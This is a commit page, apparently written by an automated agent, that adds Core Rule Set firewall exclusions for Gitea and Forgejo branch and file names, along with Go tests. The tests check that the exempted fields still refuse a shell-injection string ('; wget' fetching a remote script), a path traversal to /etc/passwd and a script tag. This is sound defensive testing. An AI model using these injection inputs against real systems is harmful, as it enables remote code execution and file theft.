Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)
check / check (push) Waiting to run

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- tree_path, commit_summary and content on the web editor's pages that
  commit a change: edit, new file, delete, upload, patch and
  cherry-pick;
- every field that names a branch, for Windows commands and command
  names: new_branch_name, old_branch_name, old_ref_name, from, to, head,
  base, branch and new_branch;
- message of one file or several changed through the API, for system
  files and Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
This commit is contained in:
clawbot committed 2026-11-11 15:55:19 +00:00
1 parent 63e58e326b
commit e7f102e87a
9 files changed
+403 -18

No files matched your search

+150 -2
View File
@@ -598,11 +598,15 @@ const passwordKey = "password"
// retypeKey is the field in which apps take the same password again.
const retypeKey = "retype"
// htaccess is the name of a web server's settings file, which the list of
// system files (930120) holds.
const htaccess = ".htaccess"
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess}
// randomPassword returns a password of 20 characters, each one of the 95
// printable ASCII characters, space included, drawn from random.
@@ -1257,7 +1261,7 @@ func wordpressWords() []struct {
value string
rule int
}{
{".htaccess", 930120},
{htaccess, 930120},
{"powershell", 932120},
{"ls -la", 932250},
{"python3", 932260},
@@ -1764,6 +1768,9 @@ const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// shellCommand is commandInjection, not escaped.
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
@@ -1969,6 +1976,147 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
// nameInBody is a name gitea or Forgejo sends in field of a body to path.
// contentType is formData or jsonBody.
type nameInBody struct{ path, contentType, field, name string }
// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
// skips the rules that refused them there. Each field that names a branch
// comes with a name for each rule it skips: feat/docker-support for the command
// names (932260), and fix-powershell-module for the Windows commands (932120).
func giteaNamesInBodies() []nameInBody {
const (
repo = "/alice/tools"
api = "/api/v1/repos/alice/tools"
// Fields that several paths send.
treePath = "tree_path"
commitSummary = "commit_summary"
message = "message"
branch = "branch"
newBranchName = "new_branch_name"
)
// A file's path or text, or a commit's summary or message.
texts := []nameInBody{
{repo + "/_edit/main/compose.yml", formData, treePath, "docker-compose.yml"},
{repo + "/_edit/main/.htaccess", formData, treePath, htaccess},
{
repo + "/_edit/main/scripts/install-script.sh", formData,
treePath, "scripts/install-script.sh",
},
{repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"},
{repo + "/_delete/main/.htaccess", formData, commitSummary, "Remove .htaccess"},
{repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"},
{repo + "/_upload/main/scripts/powershell", formData, treePath, "scripts/powershell"},
{
repo + "/_upload/main/scripts/powershell", formData,
commitSummary, "Add a PowerShell build script",
},
{repo + "/_cherrypick/6b02ec9/main", formData, commitSummary, "Document .htaccess"},
{
api + "/contents/scripts/powershell-build.ps1", jsonBody,
message, "Add a PowerShell build script",
},
{api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"},
{api + "/contents", jsonBody, message, "Add the PowerShell setup notes"},
{api + "/contents", jsonBody, message, "Document .htaccess"},
}
branchFields := []struct{ path, contentType, field string }{
{repo + "/_edit/main/compose.yml", formData, newBranchName},
{repo + "/_new/main/", formData, newBranchName},
{repo + "/_delete/main/.htaccess", formData, newBranchName},
{repo + "/_upload/main/docs", formData, newBranchName},
{repo + "/_diffpatch/main/", formData, newBranchName},
{repo + "/_cherrypick/6b02ec9/main", formData, newBranchName},
{repo + "/branches/_new/branch/main", formData, newBranchName},
{repo + "/branches/rename", formData, "from"},
{repo + "/branches/rename", formData, "to"},
// Forgejo's path for renaming a branch.
{repo + "/settings/rename_branch", formData, "from"},
{repo + "/settings/rename_branch", formData, "to"},
{api + "/branches", jsonBody, newBranchName},
{api + "/branches", jsonBody, "old_branch_name"},
{api + "/branches", jsonBody, "old_ref_name"},
{api + "/pulls", jsonBody, "head"},
{api + "/pulls", jsonBody, "base"},
{api + "/contents/docs/notes.md", jsonBody, branch},
{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
{api + "/contents", jsonBody, branch},
{api + "/contents", jsonBody, "new_branch"},
}
branchNames := []string{"feat/docker-support", "fix-powershell-module"}
names := make([]nameInBody, 0, len(texts)+len(branchFields)*len(branchNames))
names = append(names, texts...)
for _, f := range branchFields {
for _, name := range branchNames {
names = append(names, nameInBody{f.path, f.contentType, f.field, name})
}
}
return names
}
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
// gitea and Forgejo name a file or a branch. Each lets through the name that
// was refused there, and still refuses a shell command after a ";" and a path
// traversal. The same name is still refused in another field on the same path,
// and in the field itself when the query has a parameter of the field's name.
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
for _, tc := range giteaNamesInBodies() {
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
body := func(field, value string) string {
if tc.contentType == formData {
return field + "=" + url.QueryEscape(value)
}
quoted, err := json.Marshal(map[string]string{field: value})
if err != nil {
t.Fatal(err)
}
return string(quoted)
}
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got)
}
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
}
param := tc.field
if tc.contentType == jsonBody {
param = "json." + tc.field
}
queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers}
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
if got.Score < threshold {
t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got)
}
for _, attack := range []string{shellCommand, pathTraversal} {
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got)
}
}
}
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()